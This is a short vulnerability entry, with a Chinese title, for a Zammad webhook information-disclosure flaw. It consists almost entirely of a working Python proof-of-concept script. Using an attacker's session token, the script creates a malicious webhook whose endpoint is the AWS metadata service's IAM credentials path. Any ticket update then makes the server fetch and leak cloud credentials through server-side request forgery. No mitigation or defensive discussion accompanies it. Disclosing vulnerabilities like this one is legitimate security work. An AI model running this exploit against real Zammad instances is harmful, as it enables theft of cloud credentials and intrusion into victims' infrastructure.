CVE-2026-34719 Zammad Webhook信息泄露漏洞

# Proof of Concept (Conceptual) # This script demonstrates how an attacker might configure a malicious webhook # to exploit the SSRF vulnerability and access cloud metadata. import requests import json TARGET_HOST = "https://vulnerable-zammad-instance.com" # Common AWS Metadata IP (Link-local address) SSRF_PAYLOAD = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Attacker's credentials AUTH_TOKEN = "Bearer <attacker_session_token>" headers = { "Authorization": AUTH_TOKEN, "Content-Type": "application/json" } # Malicious webhook configuration webhook_config = { "name": "Admin Export", "endpoint": SSRF_PAYLOAD, "method": "get", "trigger": "ticket_update" } try: response = requests.post( f"{TARGET_HOST}/api/v1/webhooks", headers=headers, data=json.dumps(webhook_config) ) if response.status_code == 201: print("[+] Malicious webhook created successfully.") print("[+] Triggering webhook (e.g., by updating a ticket) will leak metadata.") else: print(f"[-] Failed to create webhook: {response.text}") except Exception as e: print(f"Error: {e}")